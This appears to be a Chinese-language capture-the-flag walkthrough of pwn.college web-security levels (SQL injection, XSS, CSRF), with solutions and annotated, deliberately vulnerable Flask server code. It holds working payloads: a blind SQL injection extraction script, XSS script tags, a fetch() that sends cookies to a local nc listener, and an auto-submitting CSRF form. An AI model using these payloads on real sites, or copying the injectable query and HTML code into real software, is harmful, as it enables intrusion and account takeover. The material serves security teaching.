到目前为止,我们已经知道了数据库结构(例如 users 表的名称),它允许我们有意地构造查询。 作为开发人员,你可能会试图通过随机化表名来防止这种情况发生,这样攻击者就无法指定它们来查询他们不应该查询的数据。 不幸的是,这并不是你想的那样。
数据库是复杂的,而且对它们自己的数据管理能力太强大了。 例如,几乎所有现代数据库都将数据库布局规范本身保存在一个表中。 攻击者可以通过查询这张表来获取表名、字段名以及他们可能需要的任何其他信息!
在这一关卡中,开发人员随机化了 users 表的名称。 找到它,找到那面flag!
查看解析
这一次的user_table表名进行了随机化处理,我们难以直接进行联合查询
因此我们先对表名进行查询,构造payload`union select table_name from information_schema.tables`
但这里用的是SQLite数据库
我们构造的payload为`"union select name FROM sqlite_master WHERE type='table'`
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import random # 用于生成随机数
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 随机生成一个用户表名称,避免名称冲突
user_table = f"users_{random.randrange(2**32, 2**33)}"
# 创建用户表,admin 用户的密码从 /flag 文件中读取
db.execute(f"""CREATE TABLE {user_table} AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# 插入 guest 用户及其密码
db.execute(f"""INSERT INTO {user_table} SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["GET"])
def challenge():
# 从请求参数中获取查询字符串,默认值为 "%"
query = flask.request.args.get("query", "%")
try:
# 使用 LIKE 操作符进行模糊匹配查询
sql = f'SELECT username FROM {user_table} WHERE username LIKE "{query}"'
print(f"DEBUG: {query=}") # 输出调试信息,显示当前查询
# 执行查询并获取所有匹配的用户名
results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
except sqlite3.Error as e:
results = f"SQL error: {e}" # 捕获并返回 SQL 错误
# 返回 HTML 页面,包含查询表单和查询结果
return f"""
<html><body>Welcome to the user query service!
<form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
<hr>
<b>Query:</b> <pre>{sql.replace(user_table, "REDACTED")}</pre><br>
<b>Results:</b><pre>{results}</pre>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 5 SQL注入5
SQL注入发生在应用程序的所有地方,就像命令注入一样,有时查询的结果不会返回给你。 有了命令注入,这种情况就容易多了:命令行非常强大,你甚至可以盲目地做很多事情。 使用SQL注入,有时情况并非如此。 例如,与其他数据库不同,此模块中使用的SQLite数据库不能访问文件系统、执行命令等。
那么,如果应用程序没有向您显示SQL注入产生的数据,您实际上是如何泄漏数据的呢? 有时,即使不显示实际数据,也可以恢复1位! 如果查询的结果使应用程序以两种不同的方式执行(例如,重定向到“身份验证成功”页面和“身份验证失败”页面),那么攻击者可以精心设计是/否问题,并获得答案。
这个挑战给了你这样的场景。 你能得到flag吗?
查看解析
要我们写一个盲注的脚本吧
脚本来源:https://writeups.kunull.net/Pwn%20College/Intro%20to%20Cybersecurity/Web%20Security#blind-attack# 导入必要的库
import string
import requests
# 定义搜索空间:所有可打印的ASCII字符(从32到126)
searchspace = ''.join(chr(i) for i in range(32, 127))
# 初始化解决方案字符串,用于存储找到的密码
solution = ''
# 目标URL
url = "http://challenge.localhost:80"
# 主循环:持续尝试直到密码被完全提取
while True:
found = False # 标记是否在当前轮次中找到字符
# 遍历搜索空间中的每个字符
for char in searchspace:
# 构建SQL注入payload,使用SUBSTR函数逐字符提取密码
# len(solution)+1 表示当前要猜测的字符位置(从1开始)
payload = f"admin' AND SUBSTR(password, {len(solution)+1}, 1) = '{char}'-- -"
# 构造POST请求的数据
data = {
"username": payload,
"password": "irrelevant" # 密码字段无关紧要,因为注入点在用户名
}
# 发送POST请求
response = requests.post(url, data=data)
# 检查响应中是否包含"Hello"(成功登录的标识)
if "Hello" in response.text:
solution += char # 将找到的字符添加到解决方案中
print(f"[+] 当前已找到的密码部分: {solution}")
found = True
break # 跳出内层循环,继续下一个字符的猜测
# 如果当前轮次没有找到任何字符,说明密码已完全提取
if not found:
print("[*] 完成。最终密码为:", solution)
break # 退出主循环
/challenge/server代码分析
#!/opt/pwn.college/python # 指定脚本的解释器路径
import tempfile # 导入临时文件模块
import sqlite3 # 导入 SQLite 数据库模块
import flask # 导入 Flask 框架
import os # 导入操作系统模块
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
class TemporaryDB:
def __init__(self):
# 创建一个临时 SQLite 数据库文件,后缀为 .db
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 连接到临时数据库并执行 SQL 语句
connection = sqlite3.connect(self.db_file.name) # 连接到数据库
connection.row_factory = sqlite3.Row # 使返回的行以字典形式呈现
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 查询
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 实例化 TemporaryDB 类
# 创建一个名为 users 的表,插入 admin 用户及其密码(来自 /flag 文件内容)
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"]) # 定义 POST 请求的路由
def challenge_post():
username = flask.request.form.get("username") # 从表单获取用户名
password = flask.request.form.get("password") # 从表单获取密码
if not username:
flask.abort(400, "Missing `username` form parameter") # 如果缺少用户名,返回 400 错误
if not password:
flask.abort(400, "Missing `password` form parameter") # 如果缺少密码,返回 400 错误
try:
# 创建 SQL 查询以验证用户
query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'
print(f"DEBUG: {query=}") # 打印调试信息
user = db.execute(query).fetchone() # 执行查询并获取结果
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}") # 如果查询出错,返回 500 错误
if not user:
flask.abort(403, "Invalid username or password") # 如果用户无效,返回 403 错误
flask.session["user"] = username # 将用户名存入会话
return flask.redirect(flask.request.path) # 重定向到当前路径
@app.route("/", methods=["GET"]) # 定义 GET 请求的路由
def challenge_get():
if not (username := flask.session.get("user", None)): # 检查是否已登录
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 如果已登录,欢迎用户
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
""" # 返回 HTML 页面,包括登录表单
app.secret_key = os.urandom(8) # 生成随机的秘密密钥
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 配置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用,监听 80 端口
XSS 1 XSS注入1
任何两种技术的接口都可能出现语义鸿沟(并导致安全问题)。 到目前为止,我们看到它们发生在:
- 一个web应用程序和文件系统,导致路径遍历。
- 一个web应用程序和命令行shell,导致命令注入。
- 一个web应用程序和数据库,导致SQL注入。
关于web应用的内容,我们还没有提到web浏览器。 我们将通过这一挑战弥补这一疏忽。
现代web浏览器是一种极其复杂的软件。 它渲染HTML,执行JavaScript,解析CSS,允许您访问pwn.college网站等等。 对我们的目的特别重要的是这个模块中你看到的每个挑战生成的HTML。 当web应用程序生成路径时,我们最终使用了路径遍历。 当web应用程序生成shell命令时,我们最终使用了shell注入。 当web应用程序生成SQL查询时,我们最终使用了SQL注入。 我们真的认为HTML会发展得更好吗? 当然不是。
发生在客户端web数据(如HTML)中的漏洞被称为跨站点脚本(Cross Site Scripting),或简称XSS(以避免与级联样式表的名称CSS冲突)。 与之前的注入不同,之前的注入的受害者是web服务器本身,而XSS的受害者是web应用程序的其他用户。 在典型的XSS漏洞攻击中,攻击者将自己的代码注入到(通常)由web应用程序生成的HTML中,并让受害者用户查看。 这将允许攻击者获得对受害者浏览器的一些控制,从而导致一些潜在的下游恶作剧。
这项挑战是朝着这个方向迈出的第一步。 与之前一样,您将拥有 /challenge/server web服务器。 这个挑战探索了一种叫做Stored XSS(存储型XSS)的东西,这意味着你存储在服务器上的数据(在本例中是论坛上的帖子)最终会显示给受害者用户。 因此,我们需要一个受害者来查看这些帖子! 现在你就有了一个 /challenge/victim 程序,它模拟了一个访问web服务器的受害用户。
设置您的攻击,并使用将触发存储的XSS的URL调用 /challenge/victim 。 在这一关卡,你所要做的就是注入一个文本框。 如果我们的受害者脚本看到这个文本框,我们就会给你flag!
查看解析
打开网站,是一个类似于评论区的功能页面
首先在此直接尝试xss注入,`《script》alert('nihao')《/script》`(为了防止被解析,这里使用《》代替<>)
然后使用`/challenge/victim`程序模拟受害者访问页面,受害者应该会弹出"nihao"的弹窗
但程序给出的提示是:You did not inject an 《input》 textbox...
也就是说这次我们的注入只是单纯的能被浏览器解析的html注入,那么我们直接注入`《input》`即可
这里也给大伙看看`《input》`的效果/challenge/server代码分析
#!/opt/pwn.college/python
import tempfile
import sqlite3
import flask
import os
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 定义一个临时数据库类
class TemporaryDB:
def __init__(self):
# 创建一个临时 SQLite 数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
# 执行 SQL 查询的方法
def execute(self, sql, parameters=()):
# 连接到临时数据库
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row # 使查询结果返回字典格式
cursor = connection.cursor()
# 执行 SQL 语句
result = cursor.execute(sql, parameters)
connection.commit() # 提交事务
return result # 返回结果
# 实例化临时数据库
db = TemporaryDB()
# 创建一个初始的帖子表,并插入一条默认帖子
db.execute("""CREATE TABLE posts AS SELECT "First Post!" AS content""")
# 定义处理 POST 请求的路由
@app.route("/", methods=["POST"])
def challenge_post():
# 从表单获取内容
content = flask.request.form.get("content", "")
# 将内容插入到数据库的帖子表中
db.execute("INSERT INTO posts VALUES (?)", [content])
return flask.redirect(flask.request.path) # 重定向回主页
# 定义处理 GET 请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
# 生成页面 HTML
page = "<html><body>\nWelcome to pwnpost, the anonymous posting service. Post away!\n"
page += "<form method=post>Post:<input type=text name=content><input type=submit value=Submit></form>\n"
# 查询数据库中的所有帖子,并添加到页面
for post in db.execute("SELECT content FROM posts").fetchall():
page += "<hr>" + post["content"] + "\n"
return page + "</body></html>" # 返回完整的 HTML 页面
# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)
XSS 2 XSS注入2
好吧,注入一些HTML是非常酷的! 你可以想象这是如何用来迷惑受害者的,但情况更糟……好吧,注入一些HTML是非常酷的! 你可以想象这是如何用来迷惑受害者的,但情况更糟……
20世纪90年代,明智的web设计师发明了JavaScript来让网站更具交互性。 JavaScript与HTML共存,让事情变得有趣。 例如,这将把浏览器变成一个时钟:
<html>
<body>
<script>
document.body.innerHTML = Date();
</script>
</body>
</html>
基本上,HTML <script> 标签告诉浏览器该标签中的内容是JavaScript,然后浏览器执行它。 我相信你能看出这是怎么回事……
在前一关卡中,你注入了HTML。 在这个攻击中,你必须使用完全相同的XSS漏洞在受害者的浏览器中执行某些JavaScript。 具体来说,我们希望你执行JavaScript alert("PWNED") 来弹出一个警告框,通知受害者他们已经被入侵了。 这一关卡的玩法与前一关卡完全相同;只有变化,突然之间,你在用煤气做饭(说明在某方面很成功,取得很大进步)!
查看解析
《script》alert("PWNED")《/script》XSS 3 XSS注入3
在前面的例子中,你的注入内容首先存储在数据库中(作为帖子),当web服务器从数据库中检索并发送到受害者的浏览器时被触发。 因为必须先存储数据,然后再检索,所以这被称为存储型XSS。 然而,神奇的HTTP GET请求及其URL参数为另一种类型的XSS打开了大门:反射型XSS。
反射式XSS发生在URL参数被渲染到生成的HTML页面中时,同样允许攻击者插入HTML/JavaScript/等。 要实施这样的攻击,攻击者通常需要诱骗受害者访问一个具有正确URL参数的非常精心设计的URL。 这与存储型XSS不同,在存储型XSS中,攻击者可以简单地在有漏洞的论坛上发布帖子,然后等待受害者偶然发现它。
无论如何,这个关卡是一个反射型XSS漏洞。 这个挑战的 /challenge/victim 在命令行上接收一个URL参数,它将访问该URL。 骗过 /challenge/victim ,让它变成JavaScript alert("PWNED") ,你就会得到这个flag!
查看解析
《script》alert("PWNED")《/script》
我们输入这些后浏览器即通过GET请求了`msg`参数
经过处理出现了弹窗
我们将这个链接模拟发送给受害者让他访问`/challenge/victim http://challenge.localhost/?msg=%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E`/challenge/server代码分析
#!/opt/pwn.college/python
import flask
import os
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 定义处理 GET 请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
# 从查询参数中获取消息msg,默认为 "(none)"
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message: {flask.request.args.get("msg", "(none)")}
<hr><form>Craft a message:<input type=text name=msg><input type=submit value=Submit></form>
</body></html>
"""
# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)
XSS 4 XSS注入4
与SQL注入和命令注入一样,有时你的跨站脚本攻击也会发生在一些非最佳的环境中。 在SQL中,我们已经处理过注入到引号中间的问题。 在XSS中,你经常注入,例如,一个文本区域,就像这个挑战。 通常,文本区域中的文本就是,页面上的文本框中显示的文本。 你能把这个上下文分解为 alert("PWNED") 吗?
与之前一样,这个挑战的 /challenge/victim 在命令行上接受一个URL参数,它将访问该URL。
查看解析
我们分析源码可以发现我们的输入被限制在《textarea》中了,所以我们构造一个带有结束标签的输入
《textarea》《/textarea》《script》alert("PWNED")《/script》
/challenge/server代码分析
def challenge_get():
# 返回一个 HTML 页面,其中包含一个文本区域用于输入消息
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message:
<form>
<textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
<input type=submit value="Make URL!">
</form>
</body></html>
"""
XSS 5 XSS注入5
实际的XSS漏洞攻击试图达到的目标不只是 alert("PWNED") 。 一个常见的目标是利用在受害者浏览器中执行JavaScript的能力来伪装成受害者发起新的HTTP请求。 这有很多种方式,包括使用JavaScript的 fetch() 函数。
这个挑战需要实现一个更复杂的应用程序,您将需要从 admin 用户未发布的草稿post中检索flag。 在xss注入 admin 之后,您必须使用注入来发出一个HTTP请求(作为 admin 用户)以使您能够读取flag。 祝你好运!
查看解析
我们分析源码可以发现
普通用户账号密码为hacker/1337
未发布的草稿只显示前12个字符
Flag完整内容仅在帖子被发布后可见
只有作者本人能发布自己的草稿
因此思路为:
普通用户登录 → 创建含XSS的草稿 → 管理员查看草稿 → XSS执行 → 以管理员身份发布flag → 所有用户可看到flag
《script》fetch("http://challenge.localhost:80/publish", {
method: "GET",
credentials: "include" // 关键,用于确保fetch请求携带admin的会话cookie
});《/script》
模拟管理员查看草稿
/challenge/victim
/challenge/server代码分析
#!/opt/pwn.college/python
import tempfile
import sqlite3
import flask
import os
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 定义一个临时数据库类
class TemporaryDB:
def __init__(self):
# 创建一个临时 SQLite 数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
# 执行 SQL 查询的方法
def execute(self, sql, parameters=()):
# 连接到临时数据库
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row # 使查询结果返回字典格式
cursor = connection.cursor()
# 执行 SQL 语句
result = cursor.execute(sql, parameters)
connection.commit() # 提交事务
return result # 返回结果
# 读取 flag,如果以 root 用户身份运行,则读取实际 flag 文件,否则使用伪造的 flag
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"
# 实例化临时数据库
db = TemporaryDB()
# 创建帖子表并插入一条初始帖子
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
# 创建用户表并插入管理员用户
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# 插入其他用户
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# 定义处理登录请求的路由
@app.route("/login", methods=["POST"])
def challenge_login():
# 获取用户名和密码
username = flask.request.form.get("username")
password = flask.request.form.get("password")
# 检查是否提供了用户名和密码
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
# 验证用户名和密码是否正确
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
# 登录成功,设置会话中的用户名
flask.session["username"] = username
return flask.redirect("/") # 重定向到首页
# 定义处理草稿请求的路由
@app.route("/draft", methods=["POST"])
def challenge_draft():
# 检查用户是否已登录
if "username" not in flask.session:
flask.abort(403, "Log in first!")
content = flask.request.form.get("content", "")
# 插入草稿帖子
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, flask.session.get("username"), bool(flask.request.form.get("publish")))
)
return flask.redirect("/") # 重定向到首页
# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["GET"])
def challenge_publish():
# 检查用户是否已登录
if "username" not in flask.session:
flask.abort(403, "Log in first!")
# 发布所有草稿
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/") # 重定向到首页
# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username = flask.session.get("username", None)
if username:
# 显示已登录用户的草稿输入表单
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br><a href=publish>Publish your drafts!</a><hr>
"""
# 显示用户的所有帖子
for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
# 显示登录表单
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""
return page + "</body></html>" # 返回完整的 HTML 页面
# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)
XSS 6 XSS注入6
一旦攻击者在受害者的浏览器中执行了代码,他们就可以做很多事情。 在之前的攻击中,你已经发起了 GET 请求,但通常情况下,改变应用程序状态的是 POST 请求。 这一挑战加剧了现实主义: /publish 现在需要一个 POST 请求。 幸运的是, fetch 支持此功能!
去弄清楚如何 POST ,然后得到flag。
查看解析
同上一关,将请求改为POST即可/challenge/server代码分析
# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["POST"])
def challenge_publish():
# 检查用户是否已登录
if "username" not in flask.session:
flask.abort(403, "Log in first!")
# 发布所有草稿
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/") # 重定向到首页
# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username = flask.session.get("username", None)
if username:
# 显示已登录用户的草稿输入表单
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<form action=publish method=post><input type=submit value="Publish All Drafts"></form><hr>
"""
XSS 7 XSS注入7
根据攻击者的目的,他们可能真正想要的是受害者的整个账户。 例如,攻击者可以使用XSS来窃取受害者的身份验证数据,然后使用这些数据来接管受害者的账户。
身份验证数据通常通过浏览器cookie存储,例如 Authentication Bypass 2 中发生的情况(但通常更安全)。 如果攻击者可以泄露这些cookie,对受害者来说后果将是灾难性的。
该关卡将登录用户的身份验证数据存储在cookie中。 你必须使用XSS来泄漏这个cookie,这样你就可以在请求中使用它来模拟 admin 用户。 这种泄漏将通过HTTP发生在你运行的服务器上,你所需要的一切都可以通过JavaScript的 fetch() 及其访问(某些)站点cookie的能力获得。
提示: 所谓“你运行的服务器”,实际上是指监听一个端口 nc 就足够了。 看 -l 和 -v 选项到 nc 。
查看解析
这次需要劫持管理员cookie
监听
nc -nvlp 1234
《script》fetch("http://localhost:1234/?cookie=" + encodeURIComponent(document.cookie));《/script》
得到cookie后替换即可/challenge/server代码分析
#!/opt/pwn.college/python
import tempfile # 导入临时文件模块
import sqlite3 # 导入 SQLite 数据库模块
import flask # 导入 Flask Web 框架
import os # 导入操作系统模块
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 定义一个临时数据库类
class TemporaryDB:
def __init__(self):
# 创建一个临时 SQLite 数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
# 执行 SQL 查询的方法
def execute(self, sql, parameters=()):
# 连接到临时数据库
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row # 使查询结果返回字典格式
cursor = connection.cursor()
# 执行 SQL 语句
result = cursor.execute(sql, parameters)
connection.commit() # 提交事务
return result # 返回结果
# 读取 flag,如果以 root 用户身份运行,则读取实际 flag 文件,否则使用伪造的 flag
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"
# 实例化临时数据库
db = TemporaryDB()
# 创建帖子表并插入一条初始帖子,内容为 flag
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
# 创建用户表并插入管理员用户,密码为 flag 的后 20 个字符
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag[-20:]])
# 插入其他用户
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# 定义处理登录请求的路由
@app.route("/login", methods=["POST"])
def challenge_login():
# 获取用户名和密码
username = flask.request.form.get("username")
password = flask.request.form.get("password")
# 检查是否提供了用户名
if not username:
flask.abort(400, "Missing `username` form parameter")
# 检查是否提供了密码
if not password:
flask.abort(400, "Missing `password` form parameter")
# 验证用户名和密码是否正确
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
# 登录成功,设置 cookie
response = flask.redirect("/")
response.set_cookie('auth', username + "|" + password)
return response
# 定义处理草稿请求的路由
@app.route("/draft", methods=["POST"])
def challenge_draft():
# 从 cookie 获取用户名和密码
username, password = flask.request.cookies.get("auth", "|").split("|")
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
# 阻止 admin 用户发布内容
if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")
# 获取草稿内容
content = flask.request.form.get("content", "")
# 插入草稿帖子
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, username, bool(flask.request.form.get("publish")))
)
return flask.redirect("/")
# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["POST"])
def challenge_publish():
# 从 cookie 获取用户名和密码
username, password = flask.request.cookies.get("auth", "|").split("|")
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
# 阻止 admin 用户发布内容
if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")
# 发布所有草稿
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
return flask.redirect("/")
# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
# 从 cookie 获取用户名和密码
username, password = flask.request.cookies.get("auth", "|").split("|")
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if user:
# 显示已登录用户的草稿输入表单
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<form action=publish method=post><input type=submit value="Publish All Drafts"></form><hr>
"""
# 显示用户的所有帖子
for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
elif post["author"] == username:
# 显示当前用户的草稿
page += "<b>YOUR DRAFT POST:</b> " + post["content"] + "<hr>\n"
else:
# 显示其他用户的草稿的前 12 个字符
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
# 显示登录表单
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""
return page + "</body></html>" # 返回完整的 HTML 页面
# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)
CSRF 1 跨站请求伪造1
你使用XSS注入JavaScript以导致受害者发起HTTP请求。 但是如果没有XSS怎么办? 你能直接“注入”HTTP请求吗?
令人震惊的是,答案是肯定的。 web设计的目的是使许多不同的网站相互连接。 网站可以嵌入来自其他网站的图像,链接到其他网站,甚至重定向到其他网站。 所有这些灵活性意味着一些严重的安全风险,而且几乎没有任何措施可以防止恶意网站直接导致受害者访问者发出潜在的敏感请求,例如(在我们的例子中)将 GET 请求发送给 http://challenge.localhost/publish !
这种类型的跨站点请求伪造被称为跨站请求伪造(Cross Site Request Forgery,简称CSRF)。
请注意,我说过几乎没有什么可以防止这种情况。 同源策略(Same-origin Policy,缩写为SOP)是在20世纪90年代创建的,当时web还很年轻,它(试图)缓解这个问题。 SOP防止一个原点的站点(例如 http://www.hacker.com 或 http://hacker.localhost:1337 )以某些不安全方式与其他原点的站点(例如 http://www.asu.edu 或 http://challenge.localhost/ )进行交互。 SOP防止了一些常见的CSRF向量(例如,当使用JavaScript跨源发起请求时,将不会发送cookie !),但有很多避免SOP的方法,例如使 GET 请求cookie完好无损(例如完全重定向)。
在这一关卡,pwnpost已经修复了它的XSS问题(至少对于 admin 用户)。 你需要使用CSRF来发布flag post! 该关卡的 /challenge/victim 将登录pwnpost ( http://challenge.localhost/ ),然后访问您可以建立的邪恶网站( http://hacker.localhost:1337/ )。 hacker.localhost 指向你的本地工作空间,但你需要自己设置一个web服务器,在端口1337上处理HTTP请求。 同样,这可以通过 nc 或者python服务器来实现(比如http.server!) 因为这些网站有不同的来源,SOP保护将适用,所以要小心如何伪造请求!
index.html
<!DOCTYPE html>
<html>
<body>
<form action="http://challenge.localhost/publish" method="GET" id="csrf-form">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
查看解析
同上,普通用户登录后只能看到admin草稿帖的前12个字符,无法看到完整flag
/publish接口可以将当前用户的所有帖子设为已发布
/challenge/victim源码会模拟admin在登录后访问http://hacker.localhost:1337/
在此作为CSRF攻击,admin访问http://hacker.localhost:1337/index.html会带着cookie访问http://challenge.localhost/publish从而发布flag
python -m http.server 1337 --bind hacker.localhost
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
# 使用带 SUID 权限的 Python3 解释器运行,并启用 -I(隔离模式),
# 防止加载用户环境变量与 site-packages,提升安全性
import tempfile
import sqlite3
import flask
import os
# 创建 Flask 应用实例
app = flask.Flask(__name__)
# TemporaryDB:用于创建和操作一个临时 SQLite 数据库
# 数据库存储在临时文件中,进程结束后自动清理
class TemporaryDB:
def __init__(self):
# 创建一个临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 每次执行 SQL 时新建一个数据库连接
connection = sqlite3.connect(self.db_file.name)
# 设置返回结果为 sqlite3.Row,支持按列名访问
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
# 执行 SQL 语句(支持参数化查询)
result = cursor.execute(sql, parameters)
# 提交事务
connection.commit()
return result
# 如果当前进程是 root(euid == 0),读取真实 flag
# 否则使用假的 flag(防止普通用户直接读到)
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"
# 初始化临时数据库
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
# 创建 posts 表:
# - content:帖子内容(初始为 flag)
# - author:作者(固定为 admin)
# - published:是否发布(初始为 FALSE)
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
# 创建 users 表:
# - username:用户名(admin)
# - password:密码(flag)
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# https://www.sqlite.org/lang_insert.html
# 插入普通用户 guest
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
# 插入普通用户 hacker
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# 登录接口,只接受 POST 请求
